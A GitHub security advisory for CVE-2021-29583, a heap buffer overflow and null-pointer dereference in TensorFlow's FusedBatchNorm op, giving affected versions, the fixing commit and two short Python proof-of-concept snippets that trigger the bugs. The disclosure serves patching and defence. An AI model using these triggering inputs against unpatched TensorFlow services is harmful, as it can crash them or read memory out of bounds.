GitHub Advisoryadvisory · PyPI
GHSA-9xh4-23q4-v6wr Heap buffer overflow and undefined behavior in `FusedBatchNorm`
LOW
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- Aliases
- CVE-2021-29583
- Ecosystem
- PyPI
- Packages
- tensorflow, tensorflow-cpu, tensorflow-gpu
- Severity
- Low
- CVSS vector
- CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
- Weaknesses
- CWE-125, CWE-476, CWE-787
- Reviewed
- 2021-05-18
Affected packages
• PyPI tensorflow: < 2.1.4 → fixed in 2.1.4
• PyPI tensorflow: >= 2.2.0, < 2.2.3 → fixed in 2.2.3
• PyPI tensorflow: >= 2.3.0, < 2.3.3 → fixed in 2.3.3
• PyPI tensorflow: >= 2.4.0, < 2.4.2 → fixed in 2.4.2
• PyPI tensorflow-cpu: < 2.1.4 → fixed in 2.1.4
• PyPI tensorflow-cpu: >= 2.2.0, < 2.2.3 → fixed in 2.2.3
• PyPI tensorflow-cpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3
• PyPI tensorflow-cpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2
• PyPI tensorflow-gpu: < 2.1.4 → fixed in 2.1.4
• PyPI tensorflow-gpu: >= 2.2.0, < 2.2.3 → fixed in 2.2.3
• PyPI tensorflow-gpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3
• PyPI tensorflow-gpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2
Description
Impact
The implementation of `tf.raw_ops.FusedBatchNorm` is vulnerable to a heap buffer overflow:
```python
import tensorflow as tf
x = tf.zeros([10, 10, 10, 6], dtype=tf.float32)
scale = tf.constant([0.0], shape=[1], dtype=tf.float32)
offset = tf.constant([0.0], shape=[1], dtype=tf.float32)
mean = tf.constant([0.0], shape=[1], dtype=tf.float32)
variance = tf.constant([0.0], shape=[1], dtype=tf.float32)
epsilon = 0.0
exponential_avg_factor = 0.0
data_format = "NHWC"
is_training = False
tf.raw_ops.FusedBatchNorm(
x=x, scale=scale, offset=offset, mean=mean, variance=variance,
epsilon=epsilon, exponential_avg_factor=exponential_avg_factor,
data_format=data_format, is_training=is_training)
```
If the tensors are empty, the same implementation can trigger undefined behavior by dereferencing null pointers:
```python
import tensorflow as tf
import numpy as np
x = tf.zeros([10, 10, 10, 1], dtype=tf.float32)
scale = tf.constant([], shape=[0], dtype=tf.float32)
offset = tf.constant([], shape=[0], dtype=tf.float32)
mean = tf.constant([], shape=[0], dtype=tf.float32)
variance = tf.constant([], shape=[0], dtype=tf.float32)
epsilon = 0.0
exponential_avg_factor = 0.0
data_format = "NHWC"
is_training = False
tf.raw_ops.FusedBatchNorm(
x=x, scale=scale, offset=offset, mean=mean, variance=variance,
epsilon=epsilon, exponential_avg_factor=exponential_avg_factor,
data_format=data_format, is_training=is_training)
```
The implementation fails to validate that `scale`, `offset`, `mean` and `variance` (the last two only when required) all have the same number of elements as the number of channels of `x`. This results in heap out of bounds reads when the buffers backing these tensors are indexed past their boundary.
If the tensors are empty, the validation mentioned in the above paragraph would also trigger and prevent the undefined behavior.
Patches
We have patched the issue in GitHub commit 6972f9dfe325636b3db4e0bc517ee22a159365c0.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
Related
Alias · CVE (1)
- CVE-2021-29583 TensorFlow is an end-to-end open source platform for machine learning. vulnerability
References
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-9xh4-23q4-v6wr web
- https://nvd.nist.gov/vuln/detail/CVE-2021-29583 advisory
- https://github.com/tensorflow/tensorflow/commit/6972f9dfe325636b3db4e0bc517ee22a159365c0 web
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-511.yaml web
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-709.yaml web
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-220.yaml web
- https://github.com/tensorflow/tensorflow package